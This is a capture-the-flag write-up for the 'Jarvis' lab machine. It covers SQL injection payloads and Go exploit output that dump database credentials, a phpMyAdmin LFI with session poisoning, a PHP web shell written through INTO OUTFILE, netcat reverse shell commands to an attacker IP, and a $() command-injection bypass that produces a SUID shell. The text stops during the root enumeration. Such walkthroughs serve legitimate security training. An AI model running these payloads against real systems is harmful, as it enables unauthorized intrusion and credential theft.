Post

Jarvis

Jarvis

Summary

The machine begins with port scans revealing SSH (22), HTTP (80/64999). The web app on port 80 uses IronWAF, with a vulnerable room.php parameter (cod) allowing SQL injection via UNION-based attacks. Exploiting this reveals MariaDB credentials (DBadmin:imissyou) for phpMyAdmin. Leveraging CVE-2018-12613, a Local File Inclusion (LFI) in phpMyAdmin 4.8.0 grants RCE via poisoned session files, spawning a shell as www-data. Privilege escalation to pepper abuses a vulnerable Python script (simpler.py) with command injection bypassing filters via $(). Finally, exploiting a SUID-enabled systemctl to load a malicious service achieves root via a reverse shell.

Nmap

1
2
3
4
5
6
7
8
9
10
11
└─# nmap -p- --min-rate 10000 10.10.10.143 -oA nmap/port-scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-04 14:22 IST
Nmap scan report for 10.10.10.143
Host is up (0.30s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 10.03 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─# nmap -sC -sV -p22,80,64999 10.10.10.143 -oA nmap/scripts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-04 15:03 IST
Nmap scan report for supersecurehotel.htb (10.10.10.143)
Host is up (0.38s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.75 seconds

Web

image.webp

This could be due to WAF(Website Application Firewall)


What is a Web Application Firewalls (WAFs)?

A WAF acts as a filter between your website and the internet, blocking malicious HTTP traffic (e.g., SQLi, XSS, DDoS) by analyzing requests at the application layer (Layer 7). More about this here.


I tried visiting the http site on port-80

image.webp

I also found IronWAF in the header. The previous page could be related to that

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Date: Sat, 04 Jan 2025 11:19:42 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
IronWAF: 2.0.3
Content-Length: 3453
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Almost all the links in the webpage lead to the same page

But when clicking on “Book now!” button when scrolling down the page to book rooms, it takes it to,

http://10.10.10.143/room.php?cod=5

image.webp

Gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─# gobuster dir -u http://10.10.10.143/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster-med-x 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.143/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 313] [--> http://10.10.10.143/images/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.10.143/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.143/js/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.10.143/fonts/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://10.10.10.143/phpmyadmin/]
/sass                 (Status: 301) [Size: 311] [--> http://10.10.10.143/sass/]
/server-status        (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

The phpmyadmin is login page and there isn’t any other informations on the other found directories

Phpmyadmin

Common weak credentials wouldn’t work I presumed based on the below response

image.webp

SQL-Injection

I tried with a non existent cod number and it still showed an empty page

image.webp

Now I can try a sql command like http://10.10.10.143/room.php?cod=7 OR 1=1; -- - and it worked

image.webp

The url is encoded

Now when I tried some commands I got results with this command finally,

http://10.10.10.143/room.php?cod=7 UNION SELECT 1,2,3,4,5,6,7; -- -

image.webp

http://10.10.10.143/room.php?cod=7 UNION SELECT 1,@@version,3,4,5,6,7; -- -

image.webp

To make it easier to run I ran a script in golang for all needed attacks,

Running the sql injection exploit

sql-injection.go

get schema

1
2
3
4
5
6
7
└─$ go run sql-injection.go        
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 

get the tables from the database schema

1
2
3
4
5
6
7
8
9
10
└─$ go run sql-injection.go -s hotel
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 
[+] Tables Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(table_name),3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema='hotel';%20--%20-
[+] Exploit result: room 

get columns from table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ go run sql-injection.go -t room                  
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 
[+] Columns Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(column_name),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_name='room';%20--%20-
[+] Exploit result: cod,name,price,descrip,star,image,mini 
[+] Data Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(cod,0x7c,name,0x7c,price,0x7c,descrip,0x7c,star,0x7c,image,0x7c,mini),3,4,5,6,7%20FROM%20room;%20--%20-
[+] Exploit result: 1|Superior Family Room|270|Superior room, perfect for luxury families.
Big room with a lot of extras| 

get the tables from the database schema

1
2
3
4
5
6
7
8
9
10
└─$ go run sql-injection.go -s mysql        
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 
[+] Tables Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(table_name),3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema='mysql';%20--%20-
[+] Exploit result: column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user

get columns from table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ go run sql-injection.go -t user 
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 
[+] Columns Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(column_name),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_name='user';%20--%20-
[+] Exploit result: Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time 
[+] Data Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(Host,0x7c,User,0x7c,Password,0x7c,Select_priv,0x7c,Insert_priv,0x7c,Update_priv,0x7c,Delete_priv,0x7c,Create_priv,0x7c,Drop_priv,0x7c,Reload_priv,0x7c,Shutdown_priv,0x7c,Process_priv,0x7c,File_priv,0x7c,Grant_priv,0x7c,References_priv,0x7c,Index_priv,0x7c,Alter_priv,0x7c,Show_db_priv,0x7c,Super_priv,0x7c,Create_tmp_table_priv,0x7c,Lock_tables_priv,0x7c,Execute_priv,0x7c,Repl_slave_priv,0x7c,Repl_client_priv,0x7c,Create_view_priv,0x7c,Show_view_priv,0x7c,Create_routine_priv,0x7c,Alter_routine_priv,0x7c,Create_user_priv,0x7c,Event_priv,0x7c,Trigger_priv,0x7c,Create_tablespace_priv,0x7c,ssl_type,0x7c,ssl_cipher,0x7c,x509_issuer,0x7c,x509_subject,0x7c,max_questions,0x7c,max_updates,0x7c,max_connections,0x7c,max_user_connections,0x7c,plugin,0x7c,authentication_string,0x7c,password_expired,0x7c,is_role,0x7c,default_role,0x7c,max_statement_time),3,4,5,6,7%20FROM%20user;%20--%20-
[-] No result :(
[-] Exploit failed!.... Abort
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ go run sql-injection.go -t mysql.user            
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 
[+] Columns Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(column_name),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_name='mysql.user';%20--%20-
[-] No result :(
[-] Exploit failed!.... Abort
[+] Data Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(),3,4,5,6,7%20FROM%20mysql.user;%20--%20-
[-] No result :(
[-] Exploit failed!.... Abort

get data from the column

1
2
3
4
5
6
7
8
9
10
└─$ go run sql-injection.go -t mysql.user -c user    
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 
[+] Data Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,user,3,4,5,6,7%20FROM%20mysql.user;%20--%20-
[+] Exploit result: DBadmin 

get data from the column

1
2
3
4
5
6
7
8
9
10
└─$ go run sql-injection.go -t mysql.user -c password
[+] Version Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6,7;%20--%20-
[+] Exploit result: 10.1.48-MariaDB-0+deb9u2 
[+] Schema Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,GROUP_CONCAT(schema_name),3,4,5,6,7%20FROM%20information_schema.schemata;%20--%20-
[+] Exploit result: hotel,information_schema,mysql,performance_schema 
[+] Data Exploit --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,password,3,4,5,6,7%20FROM%20mysql.user;%20--%20-
[+] Exploit result: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 

Cracking the hash we get,

image.webp

Shell as www-data

LFI

The login credential worked,

image.webp

We can see the version of the phpmyadmin is 4.8.0 and it have a vulnerability CVE-2018-12613

It’s a LFI that allows for RCE


Local File Inclusion (LFI): A Quick Guide

What Is LFI?

LFI lets attackers trick a web app into loading unauthorized server files (e.g., /etc/passwd) via unsanitized input like ?file=../../etc/passwd.

Cause of the attack
  • Apps include Dynamic File Loading based on user input (e.g., file parameter).
  • Attackers use Directory Traversal (../) to escape restricted folders.
  • Inject Code Execution (e.g.,php) into logs or upload malicious files for RCE.

Vulnerable Code (Go Example):

1
content, _ := os.ReadFile("./" + r.URL.Query().Get("file")) // Unsafe!  
  • This wil lead to Data Theft (e.g., config.php, /etc/passwd), RCE and even full Server Takeover

  • Learn More: Invicti, Cobalt.io


image.webp

I went to SQL tab and entered the following,

1
SELECT '<?php system($_GET["cmd"]);?>'

This writes the php code to the session file (sess_5cn68a28sfgmph3fqb205eri8l1s3o6d).

After entering the above command I grabbed my phpmyadmin cookie from the browser and prefixed it with sess_ and visited the following site, forcng the app to include the poisoned session file,

http://10.10.10.143/phpmyadmin/index.php?cmd=id&target=db_sql.php?/../../../../var/lib/php/sessions/sess_5cn68a28sfgmph3fqb205eri8l1s3o6d

image.webp

Now I started a netcat listener and replaced the cmd to cmd=nc -e /bin/sh 10.10.16.6 443

1
2
3
4
5
6
7
8
9
10
└─# rlwrap nc -nvlp 443 
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.143] 39824
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@jarvis:/usr/share/phpmyadmin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@jarvis:/usr/share/phpmyadmin$ 

Into-Outfile

Check the sql-injection.go code to find writeable file directories to upload the web-shell

An attack exploiting SQL injection to write a malicious file (e.g., a web shell) to the server, enabling remote code execution (RCE).

We can verify FILE privilege by running and looking for GRANT FILE ON *.*,

1
     SHOW GRANTS FOR CURRENT_USER();

Checking secure_file_priv to check if it set to NULL (file writes are blovked) or not,

1
    SHOW VARIABLES LIKE 'secure_file_priv';

Or just test it with sending text file and opening the test file via browser.

In the code, we are injecting a payload to write a php file into a web-accessible directory (e.g., /var/www/html/)

1
2
   SELECT '<?php system($_GET["cmd"]); ?>'  
   INTO OUTFILE '/var/www/html/web.php';  

This creates a web.php that executes OS commands via ?cmd= (e.g., http://10.10.10.143/room.php?cod=7%20UNION%20ALL%20SELECT%201,'<?php%20system($_GET["cmd"]);?>',3,4,5,6,7%20INTO%20OUTFILE%20"/var/www/html/web.php";--%20-).

Then we can get reverse shell by starting a netcat listener.

Running the exploit

exploit.go

1
2
3
4
└─$ go run exploit.go -f '/var/www/html/web.php'
[+] Uploading Webshell --------------------------------------------------------------------------------------
[+] Payload: 7%20UNION%20ALL%20SELECT%201,'<?php%20system($_GET["cmd"]);?>',3,4,5,6,7%20INTO%20OUTFILE%20"/var/www/html/web.php";--%20-
[+] Exploit result: File uploaded successfully 
1
2
3
4
5
└─$ go run exploit.go -n web.php -c id                                                                                        
[+] Running Command --------------------------------------------------------------------------------------
[+] Payload: ?cmd=id
[+] Exploit result: 1   uid=33(www-data) gid=33(www-data) groups=33(www-data)
        3       4       5       6       7
1
2
3
└─$ go run exploit.go -n web.php -c "nc -e /bin/sh 10.10.16.6 443"
[+] Running Command --------------------------------------------------------------------------------------
[+] Payload: ?cmd=nc%20-e%20/bin/sh%2010.10.16.6%20443
1
2
3
4
5
└─# rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.143] 39858
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade the shell using python -c 'import pty;pty.spawn("/bin/bash")'

Priv-Esc to pepper

1
2
3
www-data@jarvis:/var/www/html$ awk -F':' '{ if ($3 >= 1000 && $3 <= 60000) { print $1 } }' /etc/passwd
<>= 1000 && $3 <= 60000) { print $1 } }' /etc/passwd
pepper

There is connection credential, which we already found,

1
2
3
4
5
6
7
8
9
10
11
www-data@jarvis:/var/www/html$ ls
ls
ayax            css             getfileayax.php  nav.php      rooms-suites.php
b4nn3d          dining-bar.php  images           phpmyadmin   sass
check.txt       fonts           index.php        room.php     web.php
connection.php  footer.php      js               roomobj.php
www-data@jarvis:/var/www/html$ cat connection.php
cat connection.php
<?php
$connection=new mysqli('127.0.0.1','DBadmin','imissyou','hotel');
?>

Sudo permissions,

1
2
3
4
5
6
7
8
www-data@jarvis:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

The ping is executed by the os.system library and there are filters for the inputs

But the command is not sanitized for bash command $() which we can try to use it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@jarvis:/var/www/html$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
<do -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(id)
$(id)
ping: groups=1000(pepper): Temporary failure in name resolution

We can see the command ran successfully

Let’s try and get a shell as pepper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
www-data@jarvis:/var/www/html$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
<do -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************

Enter an IP: $(cp /bin/bash /tmp/p_sh)
$(cp /bin/bash /tmp/p_sh)
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
             [-l preload] [-m mark] [-M pmtudisc_option]
             [-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]
             [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]
             [-W timeout] destination
www-data@jarvis:/var/www/html$ ls -lah /tmp/p_sh
ls -lah /tmp/p_sh
-rwxr-xr-x 1 pepper pepper 1.1M Jan  5 11:10 /tmp/p_sh
www-data@jarvis:/var/www/html$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
<do -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************

Enter an IP: $(chmod +s /tmp/p_sh)
$(chmod +s /tmp/p_sh)
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
             [-l preload] [-m mark] [-M pmtudisc_option]
             [-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]
             [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]
             [-W timeout] destination
www-data@jarvis:/var/www/html$ ls -lah /tmp/p_sh
ls -lah /tmp/p_sh
-rwsr-sr-x 1 pepper pepper 1.1M Jan  5 11:10 /tmp/p_sh

Now we have copied a shell to our /tmp/p_sh file and set the SUID binary for the file to run as pepper

Why use -p?

A SUID binary file runs with the privileges of its owner (e.g., root), even when executed by a normal user. The -p flag in shells (e.g., bash -p) preserves these elevated privileges instead of dropping them.

1
2
3
4
5
6
7
8
9
www-data@jarvis:/var/www/html$ ls ls -lah /tmp/p_sh
ls -lah /tmp/p_sh
-rwsr-sr-x 1 pepper pepper 1.1M Jan  5 11:10 /tmp/p_sh
www-data@jarvis:/var/www/html$ /tmp/p_sh -p
/tmp/p_sh -p
p_sh-4.4$ id
id
uid=33(www-data) gid=33(www-data) euid=1000(pepper) egid=1000(pepper) groups=1000(pepper),33(www-data)
p_sh-4.4$ 
1
2
3
4
5
6
p_sh-4.4$ pwd
pwd
/home/pepper
p_sh-4.4$ cat user.txt
cat user.txt
264dxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Priv-Esc to root

SUID binaries,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
p_sh-4.4$ find / -perm -4000 -ls 2>/dev/null
find / -perm -4000 -ls 2>/dev/null
     3969     32 -rwsr-xr-x   1 root     root        30800 Aug 21  2018 /bin/fusermount
     3827     44 -rwsr-xr-x   1 root     root        44304 Mar  7  2018 /bin/mount
     3924     60 -rwsr-xr-x   1 root     root        61240 Nov 10  2016 /bin/ping
     9420    172 -rwsr-x---   1 root     pepper     174520 Jun 29  2022 /bin/systemctl
     3828     32 -rwsr-xr-x   1 root     root        31720 Mar  7  2018 /bin/umount
     3774     40 -rwsr-xr-x   1 root     root        40536 Mar 17  2021 /bin/su
     3779     40 -rwsr-xr-x   1 root     root        40312 Mar 17  2021 /usr/bin/newgrp
    16679     60 -rwsr-xr-x   1 root     root        59680 Mar 17  2021 /usr/bin/passwd
    16678     76 -rwsr-xr-x   1 root     root        75792 Mar 17  2021 /usr/bin/gpasswd
    16676     40 -rwsr-xr-x   1 root     root        40504 Mar 17  2021 /usr/bin/chsh
    15178    140 -rwsr-xr-x   1 root     root       140944 Jan 23  2021 /usr/bin/sudo
    16675     52 -rwsr-xr-x   1 root     root        50040 Mar 17  2021 /usr/bin/chfn
